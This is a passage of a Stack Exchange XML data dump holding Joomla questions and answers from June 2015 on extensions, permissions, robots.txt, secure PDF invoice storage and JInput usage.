  <row Id="10246" PostTypeId="2" ParentId="10225" CreationDate="2015-06-01T10:39:22.040" Score="0" Body="&lt;p&gt;To solve this I had to apply vertical-align to the label, form-inline &amp;amp; search-button. A margin-bottom to the form-inline.&lt;/p&gt;&#xA;" OwnerDisplayName="user5312" LastActivityDate="2015-06-01T10:39:22.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10247" PostTypeId="2" ParentId="10235" CreationDate="2015-06-01T11:37:23.940" Score="1" Body="&lt;p&gt;There are several well-known membership management extensions. For instance, Akeeba Subscriptions, PayPlans or OSE to name a few. You can find more at JED, &lt;a href=&quot;http://extensions.joomla.org/extensions/extension?searchall=recurring&amp;amp;filter%5Btags%5D%5B%5D=&amp;amp;filter%5Bcore_catid%5D=&amp;amp;filter%5Bincludes%5D=&amp;amp;filter%5Bversions%5D=&amp;amp;filter%5Btype%5D=&amp;amp;filter%5Bhasdemo%5D=&amp;amp;order=score&amp;amp;filter%5Bnewupdated%5D=&amp;amp;filter%5Bscore%5D=&amp;amp;filter%5Bfavourites%5D=&amp;amp;dir=DESC&amp;amp;limitstart=0&amp;amp;controller=filter&amp;amp;view=extension&amp;amp;layout=list&amp;amp;Itemid=145&amp;amp;clearorders=0&amp;amp;clearfilters=1&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Akeeba Subscriptions supports Recurring Payments (relays on Paypal recurring payments), but it does not manage post-sale management. Thus, user has to cancel on Paypal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &quot;recurring membership&quot; is a whole different world, a different e-commerce league. A site with &quot;recurring membership&quot; has to store the customer payment information in a secure way (&lt;a href=&quot;https://www.pcicomplianceguide.org/pci-faqs-2/&quot; rel=&quot;nofollow&quot;&gt;PCI Compliance&lt;/a&gt;) and manage the account workflow beyond the initial purchase, sending invoices or cancelling memberships. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, you can simply integrate any online E-commerce platform solution (AvantGate, BlueSnap, Chargebee, Chargify, FastSpring, Peakium, Recurly and Spreedly, etc). Even though, their fees are high, the offer can solve all requirements at once, with minor integration points.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-06-01T11:37:23.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10248" PostTypeId="2" ParentId="5687" CreationDate="2015-06-01T11:48:43.590" Score="5" Body="&lt;p&gt;On Joomla 3.4 the installer class name is based on the plugin group (e.g. &lt;code&gt;system&lt;/code&gt;) from the root tag in the manifest:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;extension type=&quot;plugin&quot; group=&quot;system&quot; version=&quot;3.0&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the plugin name (e.g. &lt;code&gt;myplugin&lt;/code&gt;) that goes in the following line in the manifest:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;filename plugin=&quot;myplugin&quot;&amp;gt;pluginfile.php&amp;lt;/filename&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then you put it all together prepended with &lt;code&gt;plg&lt;/code&gt; like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    plgSystemMyPluginInstallerScript&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="1597" LastEditDate="2017-04-03T14:45:52.697" LastActivityDate="2017-04-03T14:45:52.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10250" PostTypeId="2" ParentId="10221" CreationDate="2015-06-01T23:53:39.073" Score="2" Body="&lt;p&gt;It is quite simple, actually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find a beautiful template on the web, then upload it to your site, then modify the category, or categories, that you're listing, to use that template in the backend:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Administrator Menu: &quot;K2&quot; -&gt; &quot;Categories&quot; -&gt; &quot;Edit Category&quot; -&gt; &quot;Category Item&#xA;  Layout&quot; (Tab on the right) -&gt; &quot;Select a template&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Or you can create your own template, and there is a resource to help you with that: &lt;a href=&quot;http://y-designs.com/ja/blog-ja/k2-templating-from-0-to-100mph-in/&quot; rel=&quot;nofollow&quot;&gt;http://y-designs.com/ja/blog-ja/k2-templating-from-0-to-100mph-in/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3570" LastActivityDate="2015-06-01T23:53:39.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10251" PostTypeId="1" CreationDate="2015-06-02T02:10:31.493" Score="2" ViewCount="326" Body="&lt;p&gt;I'm currently adapting a custom extension a former colleague of mine has developed for Joomla 2.5, so that it runs under Joomla 3.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The component in question uses com_categories for category management (index.php?option=com_categories&amp;amp;&amp;amp;extension=com_whatever).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the categories view loads, however, some of the action buttons, namely &quot;New&quot;, are now missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What shall I update in the component to make com_categories load the full set of action buttons?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot of the view:&#xA;&lt;a href=&quot;https://www.dropbox.com/s/60zfak311diin9w/Screenshot%202015-06-01%2022.52.22.png?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/60zfak311diin9w/Screenshot%202015-06-01%2022.52.22.png?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5353" LastEditorUserId="126" LastEditDate="2015-06-06T18:19:00.540" LastActivityDate="2015-06-06T18:19:00.540" Title="Custom component upgrade - Missing buttons in com_categories view" Tags="|joomla-3.x|component|development|fix-my-code|upgrade|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10252" PostTypeId="2" ParentId="10251" CreationDate="2015-06-02T04:14:34.593" Score="1" Body="&lt;p&gt;You need to define your access.xml properly in order to see the buttons. The two required permissions are &lt;code&gt;core.create&lt;/code&gt; and &lt;code&gt;core.edit.state&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section name=&quot;component&quot;&amp;gt;&#xA;    &amp;lt;action name=&quot;core.admin&quot; title=&quot;JACTION_ADMIN&quot; description=&quot;JACTION_ADMIN_COMPONENT_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.manage&quot; title=&quot;JACTION_MANAGE&quot; description=&quot;JACTION_MANAGE_COMPONENT_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.create&quot; title=&quot;JACTION_CREATE&quot; description=&quot;JACTION_CREATE_COMPONENT_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.delete&quot; title=&quot;JACTION_DELETE&quot; description=&quot;JACTION_DELETE_COMPONENT_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit&quot; title=&quot;JACTION_EDIT&quot; description=&quot;JACTION_EDIT_COMPONENT_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit.own&quot; title=&quot;JACTION_EDITOWN&quot; description=&quot;JACTION_EDITOWN_COMPONENT_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit.state&quot; title=&quot;JACTION_EDITSTATE&quot; description=&quot;JACTION_EDITSTATE_COMPONENT_DESC&quot; /&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&amp;lt;section name=&quot;category&quot;&amp;gt;&#xA;    &amp;lt;action name=&quot;core.create&quot; title=&quot;JACTION_CREATE&quot; description=&quot;COM_CATEGORIES_ACCESS_CREATE_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.delete&quot; title=&quot;JACTION_DELETE&quot; description=&quot;JACTION_DELETE_COMPONENT_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit&quot; title=&quot;JACTION_EDIT&quot; description=&quot;JACTION_EDIT_COMPONENT_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit.own&quot; title=&quot;JACTION_EDITOWN&quot; description=&quot;JACTION_EDITOWN_COMPONENT_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit.state&quot; title=&quot;JACTION_EDITSTATE&quot; description=&quot;JACTION_EDITSTATE_COMPONENT_DESC&quot; /&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may want to define category level permissions as well here so that you can give granular permissions to your individual categories.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2015-06-02T06:33:05.527" LastActivityDate="2015-06-02T06:33:05.527" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10253" PostTypeId="2" ParentId="10121" CreationDate="2015-06-02T06:33:10.497" Score="3" Body="&lt;p&gt;If you have any problem with the purchased extensions from Offlajn, you can create a support ticket on our site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://offlajn.com/contact-us.html&quot; rel=&quot;nofollow&quot;&gt;http://offlajn.com/contact-us.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our kind support team is always ready to help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case you have uninstalled all of the parts of the Improved AJAX Login &amp;amp; Register, except the System - Improved AJAX Login and Register system plugin, which was still active. So that's why you got that message refers to a database table, which was not exist anymore.&lt;/p&gt;&#xA;" OwnerUserId="5355" LastActivityDate="2015-06-02T06:33:10.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10254" PostTypeId="1" AcceptedAnswerId="10256" CreationDate="2015-06-02T06:59:43.187" Score="2" ViewCount="7962" Body="&lt;p&gt;As robots.txt can be found:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;site.com/robots.txt&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;everyone can see it, including also bad thinking persons. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I hide the robots.txt from everyone except the search-bots?&lt;/p&gt;&#xA;" OwnerUserId="5327" LastEditorUserId="126" LastEditDate="2015-08-21T14:09:32.893" LastActivityDate="2015-08-21T14:09:32.893" Title="How to hide robots.txt from users?" Tags="|seo|apache|server|metadata|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10255" PostTypeId="2" ParentId="10254" CreationDate="2015-06-02T07:26:09.797" Score="3" Body="&lt;p&gt;You can't, robots.txt is meant to be publicly accessible. If you want to hide content on your site you shouldn't try to do it with robots.txt, simply password protect any sensitive directories using .htaccess or similar.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-06-02T07:26:09.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10256" PostTypeId="2" ParentId="10254" CreationDate="2015-06-02T08:16:03.087" Score="3" Body="&lt;p&gt;You can find a solution here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forums.ukwebmasterworld.com/threads/hide-your-robots-txt-from-visitors-and-show-it-only-for-validated-robots.7256/&quot; rel=&quot;nofollow&quot;&gt;http://forums.ukwebmasterworld.com/threads/hide-your-robots-txt-from-visitors-and-show-it-only-for-validated-robots.7256/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will block robots.txt from everyone except googlebot, Yahoo Slurp and msnbot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But again, Why would you want to hide it? It is perfectly OK to keep robots.txt accessible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretty much every website has a robot.txt accessible to everyone. You can even see wikipedia's robot.txt here:&#xA;&lt;a href=&quot;https://en.wikipedia.org/robots.txt&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/robots.txt&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5357" LastEditorUserId="5357" LastEditDate="2015-06-02T08:21:33.473" LastActivityDate="2015-06-02T08:21:33.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10257" PostTypeId="1" CreationDate="2015-06-02T09:06:06.887" Score="7" ViewCount="1475" Body="&lt;p&gt;My component will produce invoices in PDF format that will be available for customers to download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is the best place to store these files?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/adminitrator/componentes/com_mycomponent/invoices&#xA;&#xA;/componentes/com_mycomponent/invoices&#xA;&#xA;/media/com_mycomponent/invoices&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I prevent unauthorised users just directly downloading these files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I prevent customers from downloading other people's invoices?&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="5359" LastEditDate="2015-06-02T20:47:54.463" LastActivityDate="2015-06-03T19:25:42.223" Title="What is the best place to store downloadable PDF invoices?" Tags="|development|file-upload|e-commerce|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10258" PostTypeId="2" ParentId="10257" CreationDate="2015-06-02T09:12:58.093" Score="2" Body="&lt;p&gt;Using the following directory as a root for all invoices is perfectly fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/components/com_mycomponent/invoices&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, what I would recommend doing is hashing the file name once the invoice is generated. Like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/components/com_mycomponent/invoices/HASHED_FILE.pdf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Either that or, for each invoice, create a hashed directory and store the PDF in there, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/components/com_mycomponent/invoices/HASHED_DIR/file.pdf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this method is chosen, you can use a htaccess file to prevent direct access and only allow PHP driven access to these PDF files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a PHP driven download, I would suggest storing the hash in a database tabling, along with the user's ID. When a request is made to download the file, you can then match the ID you've stored with the ID of the logged current logged in user, and of course, match the hash stored in the database.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-06-03T12:51:46.067" LastActivityDate="2015-06-03T12:51:46.067" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10260" PostTypeId="2" ParentId="10257" CreationDate="2015-06-02T10:20:14.590" Score="2" Body="&lt;p&gt;To me its media folder best fit for that purpose. To restrict direct access, just create .htaccess file in your folder with the below content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DENY FROM ALL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2015-06-03T19:25:42.223" LastActivityDate="2015-06-03T19:25:42.223" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10261" PostTypeId="2" ParentId="10257" CreationDate="2015-06-02T11:07:59.840" Score="7" Body="&lt;p&gt;I would advise against using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/components/com_mycomponent/invoices &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is because it could pose a problem when you use &lt;code&gt;.htaccess&lt;/code&gt; on your administrator directory. For example, with Akeeba Admin Tools&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would prefer using the media folder as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also serve the hashed files with their proper original names like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;header(&quot;Content-type:application/pdf&quot;); &#xA;&#xA;// It will be called NICE_TITLE.pdf&#xA;header(&quot;Content-Disposition:attachment;filename='NICE_TITLE.pdf'&quot;);&#xA;&#xA;// The PDF source is in HASHED_FILE.pdf&#xA;readfile(&quot;HASHED_FILE.pdf&quot;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3567" LastEditorUserId="5359" LastEditDate="2015-06-02T20:48:11.217" LastActivityDate="2015-06-02T20:48:11.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10262" PostTypeId="2" ParentId="10257" CreationDate="2015-06-02T11:32:08.517" Score="5" Body="&lt;p&gt;Just thought I'd throw in my 2 cents (some good points in hashing the filename).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently had a similar issue. Instead of worrying about &lt;code&gt;.htaccess&lt;/code&gt;, I just save the files above &lt;code&gt;public_html&lt;/code&gt;, with a component parameter specifying the path, then using PHP's &lt;code&gt;readfile&lt;/code&gt; to fetch and output the PDF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Won't work with all hosts, but for most applications it's relatively low-effort and completely prevents any hotlinking or other access.&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2015-06-02T11:32:08.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10263" PostTypeId="2" ParentId="8961" CreationDate="2015-06-02T11:36:56.887" Score="2" Body="&lt;p&gt;The filter fields list is a configuration option for ordering purposes, it's a white list of field names that are permitted for usage in queries, so apparently you can use a.field1 for instance as query specific.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your view, you write something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHtml::_('grid.sort', 'COM_MYCOMPONENT_NAME', 'name', $listDirn, $listOrder); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As we can see, in the third argument in this method, we apply the column name we want to order by, and here we could specify a table like &lt;code&gt;p.name&lt;/code&gt; if it is the name from a joined table called people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both &lt;code&gt;field1&lt;/code&gt; and &lt;code&gt;a.field1&lt;/code&gt; are added possibly so that someone else wants to use this model, or for specification, like this example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHtml::_('grid.sort', 'COM_MYCOMPONENT_NAME', 'p.name', $listDirn, $listOrder); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5349" LastActivityDate="2015-06-02T11:36:56.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10264" PostTypeId="1" CreationDate="2015-06-02T15:01:55.503" Score="1" ViewCount="153" Body="&lt;p&gt;When creating an Alias to a single article, the content editors keep making this mistake where they select an Alias which has the same/similar title to the 'Single Article' Menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When an alias is pointing to an Alias, this causes a broken link since as alias can't be pointing to another alias.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to not display aliases when the 'Menu Item Type' being created/updated itself is an alias? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or at the very least, is there a way to alter the CSS so that if there is two Menu Items being displayed with the same 'Title', the alias or the menu item gets highlighted so that it is obvious which is alias and which is a single article? &lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-06-03T15:19:02.820" Title="Alter style on Menu Item(s) when Menu Type Type used is Alias in Administrator Template" Tags="|menu-item|seo|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10265" PostTypeId="1" AcceptedAnswerId="10267" CreationDate="2015-06-02T15:18:22.777" Score="2" ViewCount="446" Body="&lt;p&gt;By using &lt;code&gt;var_dump($_POST);&lt;/code&gt;, I'm getting the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(2) &#xA;{&#xA;    [&quot;data&quot;] =&amp;gt; array(2) &#xA;    {&#xA;        [&quot;title&quot;] =&amp;gt; &quot;XXX&quot;&#xA;        [&quot;server&quot;] =&amp;gt; &quot;XXXXXX&quot;&#xA;    }&#xA;    [&quot;Itemid&quot;] =&amp;gt; &quot;101&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My aim is to get the &lt;code&gt;server&lt;/code&gt; value. I can easily achieve this by using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$_POST['data']['server'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Having snooped around, I found that using the following &lt;strong&gt;can&lt;/strong&gt; be used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$array  = $input-&amp;gt;post-&amp;gt;getArray(array());      &#xA;$server = $array['data']['server'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this the best approach for &lt;code&gt;JInput&lt;/code&gt; or is there something better?&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-06-02T16:25:11.177" Title="Using JInput instead of $_POST" Tags="|joomla-3.4|jinput|array|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10266" PostTypeId="2" ParentId="10265" CreationDate="2015-06-02T15:31:16.033" Score="4" Body="&lt;p&gt;You could try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = $input-&amp;gt;post-&amp;gt;get('data', array(), 'ARRAY');&#xA;$server = $data['server'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Haven't a playground to test this in, but I think it works.&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2015-06-02T15:31:16.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10267" PostTypeId="2" ParentId="10265" CreationDate="2015-06-02T15:54:47.020" Score="5" Body="&lt;p&gt;This should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$values = $app-&amp;gt;input-&amp;gt;getArray(array('data'=&amp;gt;'array'));&#xA;echo $values['data']['server'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please see I did not mention post variable specifically, because this can retrieve both get and post values. If you need to get a value from a specific super global, such as post, you can use something like &lt;code&gt;$app-&amp;gt;input-&amp;gt;post&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can retrieve multiple values by passing their names and data type in above format. This way you can get exactly what you want instead of getting raw data which is potentially not safe. Always mention the data type that you require.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2015-06-02T16:25:11.177" LastActivityDate="2015-06-02T16:25:11.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10268" PostTypeId="2" ParentId="10217" CreationDate="2015-06-02T17:07:18.573" Score="2" Body="&lt;p&gt;Adding &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once( 'toolbar.componentname.php' );&#xA;require_once( 'toolbar.componentname.html.php' );  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to componentname.php was enough to fix this.&lt;/p&gt;&#xA;" OwnerUserId="3948" LastEditorUserId="3948" LastEditDate="2015-06-02T17:44:40.303" LastActivityDate="2015-06-02T17:44:40.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10269" PostTypeId="1" CreationDate="2015-06-02T20:17:09.477" Score="0" ViewCount="668" Body="&lt;p&gt;I have a joomla 3.0 website that is stressing me out. The issue is that I can not edit/update articles on the website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I login to the administrator panel and select an article to edit then make changes and try to save it, Joomla redirects me to the homepage in the front-end and the article changes are not being saved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the source of the issue?&lt;/p&gt;&#xA;" OwnerUserId="5360" LastEditorUserId="115" LastEditDate="2015-06-04T05:59:52.910" LastActivityDate="2017-07-15T08:45:15.827" Title="Saving edited articles in backend redirects me to the homepage in front-end without saving the changes" Tags="|joomla-3.x|articles|administrator|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10270" PostTypeId="1" AcceptedAnswerId="10272" CreationDate="2015-06-02T20:53:40.930" Score="4" ViewCount="2759" Body="&lt;p&gt;&lt;strong&gt;METHOD 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hard coding the directory separator&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once JPATH_COMPONENT.'/models/fields/courselist.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;METHOD 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Soft code the directory separator&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!defined('DS')){&#xA;  define('DS',DIRECTORY_SEPARATOR);&#xA;}&#xA;&#xA;require_once JPATH_COMPONENT.DS.'models'.DS.'fields'.DS.'courselist.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-06-03T07:55:02.933" Title="What is the best way to require_once?" Tags="|joomla-3.4|best-practices|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10271" PostTypeId="2" ParentId="10257" CreationDate="2015-06-02T20:54:50.777" Score="6" Body="&lt;p&gt;This may not answer your question directly, but I wanted to give another point of view on this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would try to &lt;strong&gt;avoid as much as possible storing documents that you can generate.&lt;/strong&gt; Reason: you need to decide on folder names / file name, which later are hard to change. It may use too much space and could pose security issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course this depends on how your application works, but ideally I would have the invoice data in database tables and generate invoices on the fly, when needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My two cents.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="126" LastEditDate="2015-06-03T14:19:18.270" LastActivityDate="2015-06-03T14:19:18.270" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10272" PostTypeId="2" ParentId="10270" CreationDate="2015-06-02T21:08:32.190" Score="4" Body="&lt;p&gt;I don't know if there's any difference in speed, but I find the first method easier to read. The reason to use &lt;code&gt;DIRECTORY_SEPARATOR&lt;/code&gt; is to stay platform independent. Your second example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'models'.DS.'fields'.DS.'courselist.php'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would render like this on on Windows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;models\fields\courselist.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and like this on most other systems:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;models/fields/courselist.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, Windows is just as happy with a forward slash &lt;code&gt;/&lt;/code&gt; as directory separator and will not complain.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-06-02T21:08:32.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10275" PostTypeId="2" ParentId="10264" CreationDate="2015-06-03T07:09:19.530" Score="2" Body="&lt;p&gt;You can never save 2 menu items with alias. You will always get this message:&#xA;&lt;strong&gt;Save failed with the following error: Another menu item has the same alias in Root. Root is the top level parent.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes this can happen that your menu item alias and article item alias is same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you creating a New Menu with &lt;em&gt;Menu type&lt;/em&gt; as &lt;strong&gt;Menu Item Alias&lt;/strong&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please if you can explain briefly your issue or add screenshots for this ?&lt;/p&gt;&#xA;" OwnerUserId="5319" LastActivityDate="2015-06-03T07:09:19.530" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10276" PostTypeId="2" ParentId="10257" CreationDate="2015-06-03T07:48:23.433" Score="3" Body="&lt;p&gt;Never store any user generated files in the component directories. You may end up loosing them during an update of your component (if not done properly) or for sure when the user uninstalls it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct place to store such files is actually the &quot;images&quot; folder. It's the place where the user will be able to manage the files easily using the media manager.&#xA;The &quot;media&quot; folder would be another viable choice, but it is actually more meant to hold extension assets like CSS, JS and the like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if the files contain sensible data which should not be available to anyone, then storing them in any of this folders is a bad idea. Even if you hash them you can be sure that someone eventually will be able to read them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it needs to be secure, either don't store the file at all and generate it instead dynamically on request. Or store it outside of webroot and access it using PHP. There is no other secure way.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-06-03T07:48:23.433" CommentCount="2" ContentLicense="CC 